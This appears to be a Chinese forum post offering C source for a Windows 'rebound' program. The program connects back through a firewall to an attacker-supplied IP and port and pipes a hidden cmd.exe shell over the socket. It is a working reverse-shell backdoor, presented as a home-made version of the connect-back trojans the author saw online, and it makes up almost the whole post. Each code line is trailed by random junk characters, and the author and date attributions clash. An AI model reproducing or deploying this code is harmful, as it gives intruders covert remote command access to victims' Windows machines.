这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3 J!J#
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/* ============================== 9-(
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Rebound port in Windows NT 8v V<A*`
By wind,2006/7 )U5Ba^"fI
===============================*/ V[RsSZx
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#include KW 78J~u+
#include W~ i599!v
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#pragma comment(lib,"wsock32.lib") snm1EPj
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void OutputShell(); E# UAC2Q
SOCKET sClient; (S)jV0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Sz'H{?"
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void main(int argc,char **argv) 31)eDs
{ Hph$Z1{
WSADATA stWsaData; EWNm }C9
int nRet; r'E|6_0
SOCKADDR_IN stSaiClient,stSaiServer; H2oD0f|
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if(argc != 3) 1k dQh&~G
{ 9J4gDw4<
printf("Useage:\n\rRebound DestIP DestPort\n"); <[Y@<
return; c)B
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} "IuPg=|#
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WSAStartup(MAKEWORD(2,2),&stWsaData); x4^*YZc$,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t1rAS.z&
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stSaiClient.sin_family = AF_INET; v~`'!N8
stSaiClient.sin_port = htons(0); ,%4~ulKMn
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4khc*fh
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "^&Te%x_b
{ </-aG[Fi
printf("Bind Socket Failed!\n"); \l71Q/y6u`
return; "R
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} ipH'}~=ID
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stSaiServer.sin_family = AF_INET; m>&:)K}m
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); eccJt
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K bM1b
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3#Qek2
{ =QJI_veUG`
printf("Connect Error!"); k#DMd9
return; :V
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} 1T/ 72+R0
OutputShell(); zn2Qp
} %pBc]n@_
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void OutputShell() =niT]xf
{ @*^%^ P
char szBuff[1024]; TS49{^d$
SECURITY_ATTRIBUTES stSecurityAttributes; Y |'}VU
OSVERSIONINFO stOsversionInfo; .)[0yW&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u=f}t=3
STARTUPINFO stStartupInfo; s]'EIw}mo
char *szShell; K6G+sBw[
PROCESS_INFORMATION stProcessInformation; +Z1y1%a
unsigned long lBytesRead; YF68Ax]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4o,G[Cf_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ='Fh^]*5
stSecurityAttributes.lpSecurityDescriptor = 0; Apbgm[m|{
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &@fW6},iW
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4gh`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0P^&{ek+)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?L+|b5RS
stStartupInfo.wShowWindow = SW_HIDE; o[B"J96b
stStartupInfo.hStdInput = hReadPipe; M@<r8M]G
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^Fg!.X_
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GetVersionEx(&stOsversionInfo); !P@4d G
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switch(stOsversionInfo.dwPlatformId) I/)*pzt8
{ RW|Xh8.O
case 1: {+jO/ZQu5
szShell = "command.com"; "w{$d&+?ag
break; m_h$fT8
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default: t`pbEjE0K
szShell = "cmd.exe"; NuR3]Ja\0
break; y,Z2`Zmu
} FE3uNfQs|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q_z ;kCHM
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send(sClient,szMsg,77,0); 5`Y>!|
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while(1) .Z(Q7j^
{ MN[D)RKh;
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vf?Xt
if(lBytesRead) o,[Em<
{ q+{yv
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TF~cDn
send(sClient,szBuff,lBytesRead,0); cf%aOHYI*
} V?"1&m&E
else jKb4d9aX
{ lY[\eQ
1:
lBytesRead=recv(sClient,szBuff,1024,0); *r|Zbxf(
if(lBytesRead<=0) break; : $N43_Wb
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?^WX]SAl
} 5#mHWBGd7
} g1I8_!}~
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return; H^<?h6T
}